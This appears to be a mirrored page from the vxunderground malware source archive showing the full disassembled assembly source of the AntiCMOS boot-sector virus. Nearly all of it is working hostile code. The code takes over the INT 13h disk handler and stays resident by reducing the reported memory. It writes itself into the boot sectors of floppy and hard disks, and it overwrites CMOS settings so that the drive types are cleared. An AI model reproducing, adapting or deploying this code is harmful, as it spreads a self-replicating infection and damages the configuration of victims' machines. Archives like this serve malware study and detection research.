mirror of
https://github.com/vxunderground/MalwareSourceCode
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304 lines
7.3 KiB
NASM
304 lines
7.3 KiB
NASM
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PAGE 59,132
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;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
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;ÛÛ ÛÛ
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;ÛÛ ANTICMOS ÛÛ
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;ÛÛ ÛÛ
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;ÛÛ Created: 26-May-95 ÛÛ
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;ÛÛ Code type: zero start ÛÛ
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;ÛÛ Passes: 9 Analysis Options on: H ÛÛ
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;ÛÛ ÛÛ
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;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
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target EQU 'T3' ; Target assembler: TASM-3.1
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.386c
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; The following equates show data references outside the range of the program.
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DATA_1E EQU 4CH
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main_ram_size_ EQU 413H
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timer_low_ EQU 46CH
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DATA_3E EQU 500H
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DATA_4E EQU 7C00H ;*
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DATA_5E EQU 7C07H ;*
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DATA_6E EQU 7C09H ;*
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DATA_14E EQU 20BH ;*
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DATA_15E EQU 21EH ;*
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SEG_A SEGMENT BYTE PUBLIC USE16
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ASSUME CS:SEG_A, DS:SEG_A
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ORG 0
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ANTICMOS PROC FAR
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START:
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; Simulation segment register change due to reset to default DS now 8EB6
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; Simulation segment register change due to reset to default ES now 8EB6
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JMP SHORT LOC_3
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DB 90H
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DATA_7 DB 4DH
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DB 53H, 44H, 4FH
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DATA_8 DW 3553H, 302EH
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DATA_9 DB 0
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DB 02H, 01H, 01H, 00H, 02H,0E0H
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DB 00H, 40H, 0BH,0F0H, 09H, 00H
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DATA_10 DB 12H
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DB 0, 2, 0, 0, 0
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LOC_3:
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CLI ; Disable interrupts
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XOR AX, AX ; Zero register
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MOV DS, AX
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; Simulation segment register change due to instruction DS now 0000
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MOV SS, AX
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MOV SP, 7C00H
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MOV SI, SP
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STI ; Enable interrupts
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LES AX, DWORD PTR DS:DATA_1E ; Load seg:offset ptr
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; Simulation segment register change due to instruction ES now 0070
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MOV DS:DATA_5E, AX
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MOV DS:DATA_6E, ES
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MOV AX, DS:main_ram_size_
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DEC AX
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DEC AX
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MOV DS:main_ram_size_, AX
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MOV CL, 6
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SHL AX, CL ; Shift w/zeros fill
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MOV ES, AX
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; Simulation segment register change due to instruction ES now 9F40
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MOV CX, 200H
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XOR DI, DI ; Zero register
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CLD ; Clear direction
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REP MOVSB ; Rep when cx >0 Mov [si] to es:[di]
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MOV AX, 88H
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PUSH ES
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PUSH AX
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RETF
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; Simulation segment register change due to reset to default DS now 8EB6
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; Simulation segment register change due to reset to default ES now 8EB6
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;* No entry point to code
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PUSH DS
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PUSH AX
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TEST DL, 0F0H
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JNZ SHORT LOC_5 ; Jump if not zero
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SHR AH, 1 ; Shift w/zeros fill
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DEC AH
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JNZ SHORT LOC_5 ; Jump if not zero
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XOR AX, AX ; Zero register
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MOV DS, AX
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; Simulation segment register change due to instruction DS now 0000
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MOV AX, DS:timer_low_
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MOV AL, AH
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SUB AL, CS:DATA_7
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CMP AL, 2
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JB SHORT LOC_5 ; Jump if below
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MOV CS:DATA_7, AH
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CMP AX, 2
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JAE SHORT LOC_4 ; Jump if above or =
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CALL SUB_1
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LOC_4:
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CALL SUB_2
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LOC_5:
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; Simulation segment register change due to return from sub DS now 8EB6
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POP AX
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POP DS
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JMP DWORD PTR CS:DATA_8
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LOC_6:
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XOR AX, AX ; Zero register
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MOV ES, AX
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; Simulation segment register change due to instruction ES now 0000
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INT 13H ; Disk dl=drive a ah=func 00h
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; reset disk, al=return status
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PUSH CS
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LOC_7:
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POP DS
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CMP DATA_9, 0
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JE SHORT LOC_8 ; Jump if equal
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MOV SI, OFFSET DATA_13 ; (' key when ready')
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ADD SI, 10H
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CMP BYTE PTR [SI], 80H
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JNE LOC_7 ; Jump if not equal
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MOV DX, [SI]
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MOV CX, [SI+2]
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MOV BX, DATA_4E
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MOV AX, 201H
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INT 13H ; Disk dl=drive ? ah=func 02h
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; read sectors to memory es:bx
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; al=#,ch=cyl,cl=sectr,dh=head
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JC LOC_6 ; Jump if carry Set
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MOV WORD PTR CS:[148H], 7C0H
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JMP SHORT LOC_12
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DB 90H
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LOC_8:
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MOV DL, 80H
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CALL SUB_2
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MOV DI, OFFSET DATA_10
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MOV AX, [DI-7]
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MOV CX, 4
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SHR AX, CL ; Shift w/zeros fill
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MOV BP, AX
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MOV AX, [DI-2]
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SHL AX, 1 ; Shift w/zeros fill
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INC AX
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ADD BP, AX
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DIV BYTE PTR [DI] ; al,ah rem = ax/data
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MOV CL, AH
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INC CL
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XOR DX, DX ; Zero register
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MOV DH, AL
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MOV BX, DATA_3E
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LOC_9:
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MOV AX, 201H
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INT 13H ; Disk dl=drive a ah=func 02h
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; read sectors to memory es:bx
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; al=#,ch=cyl,cl=sectr,dh=head
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JC LOC_9 ; Jump if carry Set
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MOV AX, BP
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MOV SI, 34H
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MOV BH, 7
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DIV BYTE PTR [DI] ; al,ah rem = ax/data
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XOR CX, CX ; Zero register
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XCHG AH, CL
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SUB SI, CX
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DIV BYTE PTR [DI+2] ; al,ah rem = ax/data
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MOV DX, AX
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XCHG DL, CH
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MOV AL, [DI]
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SUB AL, CL
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INC CL
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LOC_10:
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MOV AH, 2
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PUSH AX
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INT 13H ; Disk dl=drive a ah=func 02h
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; read sectors to memory es:bx
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; al=#,ch=cyl,cl=sectr,dh=head
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POP AX
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JC LOC_10 ; Jump if carry Set
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MOV CL, 1
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ADD BH, AL
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ADD BH, AL
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MOV AX, [DI]
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INC DH
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CMP DH, [DI+2]
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JB SHORT LOC_11 ; Jump if below
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MOV DH, 0
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INC CH
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LOC_11:
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SUB SI, AX
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JNC LOC_10 ; Jump if carry=0
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ADD AX, SI
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MOV AH, 2
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INT 13H ; Disk dl=drive a ah=func 02h
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; read sectors to memory es:bx
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; al=#,ch=cyl,cl=sectr,dh=head
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MOV CH, [DI-3]
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MOV BX, BP
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MOV WORD PTR DS:[148H], 70H
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LOC_12:
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XOR AX, AX ; Zero register
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MOV DATA_9, AL
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MOV DS, AX
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; Simulation segment register change due to instruction DS now 0000
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MOV AL, 52H ; 'R'
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MOV DS:DATA_1E, AX
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MOV WORD PTR DS:DATA_1E+2, CS
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;* JMP FAR PTR LOC_1 ;*
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DB 0EAH
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DW 0, 7C0H ; Fixup - byte match
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ANTICMOS ENDP
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;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
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; SUBROUTINE
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;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
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SUB_1 PROC NEAR
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; Simulation segment register change due to sub entry point ES now 8EB6
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PUSH BX
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MOV AL, 10H
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OUT 70H, AL ; port 70H, CMOS addr,bit7=NMI
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; al = 10H, floppy drive type
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IN AL, 71H ; port 71H, CMOS data
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ADD AL, 20H ; ' '
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AND AL, 33H ; '3'
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MOV AH, AL
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MOV AL, 10H
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OUT 70H, AL ; port 70H, CMOS addr,bit7=NMI
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; al = 10H, floppy drive type
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MOV AL, AH
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OUT 71H, AL ; port 71H, CMOS data
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MOV AL, 12H
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OUT 70H, AL ; port 70H, CMOS addr,bit7=NMI
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; al = 12H, hard disk type
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MOV AL, 0
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OUT 71H, AL ; port 71H, CMOS data
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POP BX
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RETN
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SUB_1 ENDP
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;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
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; SUBROUTINE
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;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
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SUB_2 PROC NEAR
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PUSH BX
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PUSH CX
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PUSH DX
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PUSH ES
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PUSH SI
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PUSH DI
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PUSH CS
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POP DS
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; Simulation segment register change due to instruction DS now 8EB6
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PUSH CS
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POP ES
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MOV BX, 200H
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MOV CX, 1
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XOR DH, DH ; Zero register
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MOV AX, 201H
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PUSHF ; Push flags
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CALL DWORD PTR DATA_8
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JC SHORT LOC_14 ; Jump if carry Set
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MOV WORD PTR [BX], 1CEBH
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CMP DL, 80H
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JNE SHORT LOC_13 ; Jump if not equal
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MOV DS:DATA_14E, DL
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LOC_13:
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CLD ; Clear direction
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MOV CX, 1A0H
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MOV SI, 1EH
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MOV DI, DATA_15E
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REP MOVSB ; Rep when cx >0 Mov [si] to es:[di]
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MOV AX, 301H
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INC CX
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PUSHF ; Push flags
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CALL DWORD PTR DATA_8
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LOC_14:
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POP DI
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POP SI
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POP ES
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; Simulation segment register change due to instruction ES now 0000
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POP DX
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POP CX
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POP BX
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RETN
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SUB_2 ENDP
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; Simulation segment register change due to reset to default ES now 8EB6
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DATA_13 DB ' key when ready', 0DH, 0AH, 'Rep'
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DB 'lace and press any key when read'
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DB 'y', 0DH, 0AH, 0
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DB 'IO SYSMSDOS SYS'
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DB 00H, 00H, 55H,0AAH
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SEG_A ENDS
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END START
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